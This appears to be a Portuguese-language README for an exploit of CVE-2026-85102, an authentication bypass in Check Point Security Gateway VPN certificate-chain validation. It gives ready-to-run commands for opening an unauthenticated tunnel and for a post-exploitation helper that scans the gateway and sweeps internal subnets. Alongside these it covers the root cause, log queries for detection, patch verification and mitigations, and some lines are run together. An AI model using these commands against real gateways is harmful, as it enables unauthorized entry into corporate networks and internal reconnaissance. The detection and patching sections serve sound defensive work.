
Bypass de autenticação e execução remota de código em VPN de acesso remoto e site-to-site
Explora a CVE-2026-85102 para estabelecer um túnel VPN não autenticado no Check Point Security Gateway, contornando a validação da cadeia de certificados IKE.
Aviso Oficial do Check Point: sk1000117
Produto: Check Point Security Gateway, Check Point Spark Firewall
Versões Afetadas: R81.20, R82, R82.10 (pré-Bundle T24), R80-R81.10 (todas EoS)
Não Afetadas: R82.20
Componente: libcpcert.so — fwKeyHolder_imp::IsChainTrusted()
Causa Raiz: IsChainTrusted() chama CanonizeChain() mas ignora o seu valor de retorno. Mesmo quando a canonização da cadeia falha, a função retorna TRUSTED.
Exploração: Um atacante pode:
CanonizeChain()CVE-2026-85102.py # CVE-2026-85102: VPN tunnel establishment (auth bypass)
cp_postex.py # Post-exploitation helper (tunnel management, recon)
pip install cryptographyopenssl, iproute2 (comando ip), nc (netcat)testuser)# Establish tunnel with certificate bypass
sudo python3 CVE-2026-85102.py<target_ip> -u <vpn_username>
# Output includes Office Mode IP, e.g., 172.16.10.3
# Clean up tunnel
sudo python3 CVE-2026-85102.py--cleanup
# Establish tunnel and save state
sudo python3 cp_postex.py tunnel up <target_ip> -u <vpn_username>
# Check tunnel status
sudo python3 cp_postex.py tunnel status
# Scan gateway ports through tunnel
sudo python3 cp_postex.py recon scan
sudo python3 cp_postex.py recon scan -p 80,443,18190-18208
# Sweep internal networks through tunnel
sudo python3 cp_postex.py recon sweep 192.168.1.0/24
sudo python3 cp_postex.py recon sweep 192.168.1.0/24 -p 22
# Tear down tunnel
sudo python3 cp_postex.py tunnel down
sudo python3 cp_postex.py tunnel down -f # Flush all xfrm state
| Parâmetro | Descrição |
|---|---|
<target_ip> | IP do gateway Check Point |
-u <username> | Nome de usuário VPN (padrão: testuser) |
-l <local_ip> | IP local manual para sistemas com múltiplas interfaces |
-c <cert_host> | Host alternativo para extração do certificado ICA |
--cleanup | Remove a configuração do túnel |
Revise os logs em busca de logins anômalos de Mobile Access baseados em certificado. No SmartConsole/Spark Management, acesse Logs & Monitor / Logs & Events e pesquise por eventos após 12 de setembro de 2026:
product: "Mobile Access" AND action: "Log In" AND "Certificate"
Inspecione eventos para usuários, clientes ou endereços IP de origem não reconhecidos.
Assuntos de certificado suspeitos observados:
CN=vpn,OU=users,O=globalCN=vpn-user,OU=users,O=globalCN=vpnuser,OU=users,O=globalInstale o LivePatch Take 26 (BUNDLE_URGENT_SECURITY_UPDATE):
Valide a instalação:
# Check LivePatch status
cplp list
# Expected output includes:
# cpcert:cpca* CVE-2026-85102 CVE-2026-85103
# cpcert:iked* CVE-2026-85102 CVE-2026-85103
# cpcert:vpn* CVE-2026-85102 CVE-2026-85103
# cpcert:vpnrad* CVE-2026-85102 CVE-2026-85103
# cpcert_cprid:cprid* CVE-2026-85102 CVE-2026-85103
A correção modifica libcpcert.so:
// IsChainTrusted: Check CanonizeChain return value
result = CanonizeChain(this, trusted_ca, sorted, out, i, trust_type);
if (!result) {
trusted_ca = NULL;
}
return trusted_ca;
// CanonizeChain: Check intermediate operation returns
if (!CopyChain(...)) return NULL;
if (!TruncateChain(...)) return NULL;
Desative as regras VPN implícitas e defina manualmente o acesso VPN para UDP/500 e UDP/4500 para endereços IP de pares específicos. Consulte sk179346.
Desative as regras implícitas da VPN de Acesso Remoto. Crie regras explícitas de Controle de Acesso permitindo os serviços de VPN de Acesso Remoto necessários para o Security Gateway:
Nota: Estas mitigações não se aplicam a Spark Firewalls gerenciados localmente.
Este código de exploit é fornecido para fins de pesquisa e testes de segurança. Use em seus próprios sistemas ou com autorização explícita do proprietário do sistema.